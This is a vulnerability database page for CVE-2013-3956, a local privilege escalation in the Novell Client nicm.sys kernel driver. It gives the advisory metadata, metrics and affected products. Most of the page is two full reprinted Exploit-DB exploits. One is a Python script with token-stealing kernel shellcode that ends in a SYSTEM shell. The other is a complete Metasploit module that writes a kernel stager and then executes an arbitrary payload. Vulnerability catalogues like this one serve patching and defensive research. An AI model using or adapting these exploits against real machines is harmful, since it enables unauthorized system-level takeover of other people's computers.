CVE-2013-3956 : Detail

CVE-2013-3956

A01-Broken Access Control
0.65%V3
Local
2013-07-31
08h00 +00:00
2013-08-22
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The NICM.SYS kernel driver 3.1.11.0 in Novell Client 4.91 SP5 on Windows XP and Windows Server 2003; Novell Client 2 SP2 on Windows Vista and Windows Server 2008; and Novell Client 2 SP3 on Windows Server 2008 R2, Windows 7, Windows 8, and Windows Server 2012 allows local users to gain privileges via a crafted 0x143B6B IOCTL call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 27191

Publication date : 2013-07-28 22h00 +00:00
Author : sickness
EDB Verified : Yes

# Novell Client 2 SP3 Privilege escalation exploit # Tested on Windows 7 and 8 (x86) / nicm.sys 3.1.11.0 # Thanks to Master Ryujin :) # The first public information I have seen about this bug was from Nikita Tarakanov @NTarakanov (I am not sure weather there was anything else public) # Exploit for DEMO purposes :) # Does not bypass SMEP on Windows 8 # Metasploit module working against Windows 7: http://www.exploit-db.com/exploits/26452/ from ctypes import * import sys,struct,os from optparse import OptionParser kernel32 = windll.kernel32 ntdll = windll.ntdll if __name__ == '__main__': usage = "%prog -o <target>" parser = OptionParser(usage=usage) parser.add_option("-o", type="string", action="store", dest="target_os", help="Available target operating systems: WIN7, WIN8") (options, args) = parser.parse_args() OS = options.target_os if not OS or OS.upper() not in ['WIN7','WIN8']: parser.print_help() sys.exit() OS = OS.upper() if OS == "WIN7": _KPROCESS = "\x50" # Offset for Win7 _TOKEN = "\xf8" # Offset for Win7 _UPID = "\xb4" # Offset for Win7 _APLINKS = "\xb8" # Offset for Win7 steal_token = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x08" sc = steal_token else: _KPROCESS = "\x80" # Offset for Win8 _TOKEN = "\xEC" # Offset for Win8 _UPID = "\xB4" # Offset for Win8 _APLINKS = "\xB8" # Offset for Win8 steal_token = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x80" + _KPROCESS + "\x00\x00\x00"+\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x08" sc = steal_token kernel_sc = "\x14\x00\x0d\x0d" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x18\x00\x0d\x0d" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x41\x41\x41\x41" kernel_sc+= "\x28\x00\x0d\x0d" kernel_sc+= sc print "[>] Novell Client 2 SP3 privilege escalation for Windows 7 and Windows 8." print "[>] Finding the driver." GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 DEVICE = '\\\\.\\nicm' device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL retn = c_ulong() inut_buffer = 0x0d0d0000 inut_size = 0x14 output_buffer = 0x0 output_size = 0x0 baseadd = c_int(0x0d0d0000) MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zero_Bits = c_int(0) RegionSize = c_int(0x1000) write = c_int(0) print "[>] Allocating memory for our shellcode." dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) print "[>] Writing the shellcode." kernel32.WriteProcessMemory(-1, 0x0d0d0000, kernel_sc, 0x1000, byref(write)) if device_handler: print "[>] Sending IOCTL to the driver." dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None) print "[>] Dropping to a SYSTEM shell." os.system("cmd.exe /K cd C:\\windows\\system32")
Exploit Database EDB-ID : 26452

Publication date : 2013-06-25 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, { 'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation', 'Description' => %q{ This module exploits a flaw in the nicm.sys driver to execute arbitrary code in kernel space. The vulnerability occurs while handling ioctl requests with code 0x143B6B, where a user provided pointer is used as function pointer. The module has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows # as installed with Novell Client 2 SP3 for Windows 7 [ 'Automatic', { } ], [ 'Windows 7 SP1', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct '_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct '_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct '_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'OSVDB', '93718' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'URL', 'http://pastebin.com/GB4iiEwR' ] ], 'DisclosureDate' => 'May 22 2013', 'DefaultTarget' => 0 })) end def add_railgun_functions session.railgun.add_function( 'ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ]) session.railgun.add_function( 'ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ]) session.railgun.add_function( 'ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ]) session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"] ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"] ]) end def open_device(dev) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def execute_shellcode(shell_addr) vprint_status("Creating the thread to execute the shellcode...") ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 vprint_error("Unable to CreateThread") return nil end hthread = ret['return'] vprint_status("Resuming the Thread...") ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 vprint_error("Unable to ResumeThread") return nil end return true end def ring0_shellcode(t) tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5a" # pop edx # Restores edx tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel! return tokenstealing end def allocate_memory(proc, address, length) result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not result["BaseAddress"] or result["BaseAddress"].empty? vprint_error("Failed to allocate memory") return nil end my_address = result["BaseAddress"].unpack("V")[0] vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") if not proc.memory.writable?(my_address) vprint_error("Failed to allocate memory") return nil else vprint_good("0x#{my_address.to_s(16)} is now writable") end return my_address end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def check handle = open_device("\\\\.\\nicm") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Detected end def exploit vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil if target.name =~ /Automatic/ print_status("Detecting the target system...") os = sysinfo["OS"] if os =~ /windows 7/i my_target = targets[1] print_status("Running against #{my_target.name}") end else my_target = target end if my_target.nil? fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nicm") if handle.nil? fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found") else print_good("\\\\.\\nicm found!") end this_proc = session.sys.process.open print_status("Storing the Kernel stager on memory...") stager_address = 0x0d0d0000 stager_address = allocate_memory(this_proc, stager_address, 0x1000) if stager_address.nil? or stager_address == 0 session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end # eax => &kernel_stager # .text:000121A3 mov ecx, eax # .text:000121A5 mov eax, [ecx] # .text:000121A7 mov edx, [eax] # .text:000121A9 push ecx # .text:000121AA push eax # .text:000121AB call dword ptr [edx+0Ch] kernel_stager = [ stager_address + 0x14, # stager_address junk, junk, junk, junk, stager_address + 0x18, # stager_address + 0x14 junk, junk, junk, stager_address + 0x28 # stager_address + 0x24 ].pack("V*") kernel_stager << ring0_shellcode(my_target) result = this_proc.memory.write(stager_address, kernel_stager) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end print_status("Triggering the vulnerability to execute the Kernel Handler") magic_ioctl = 0x143B6B # Vulnerable IOCTL ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) session.railgun.kernel32.CloseHandle(handle) if ioctl["GetLastError"] != 0 print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") end print_status("Checking privileges after exploitation...") if not is_system? fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end print_status("Storing the final payload on memory...") shell_address = 0x0c0c0000 shell_address = allocate_memory(this_proc, shell_address, 0x1000) if shell_address.nil? fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end result = this_proc.memory.write(shell_address, payload.encoded) if result.nil? fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else print_good("Contents successfully written to 0x#{shell_address.to_s(16)}") end print_status("Executing the payload...") result = execute_shellcode(shell_address) if result.nil? fail_with(Exploit::Failure::Unknown, "Error while executing the payload") else print_good("Enjoy!") end end end

Products Mentioned

Configuraton 0

Novell>>Client >> Version 4.91

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_xp >> Version *

Configuraton 0

Novell>>Client >> Version 2.0

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Configuraton 0

Novell>>Client >> Version 2.0

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

References

http://pastebin.com/GB4iiEwR
Tags : x_refsource_MISC
http://www.exploit-db.com/exploits/26452
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.exploit-db.com/exploits/27191
Tags : exploit, x_refsource_EXPLOIT-DB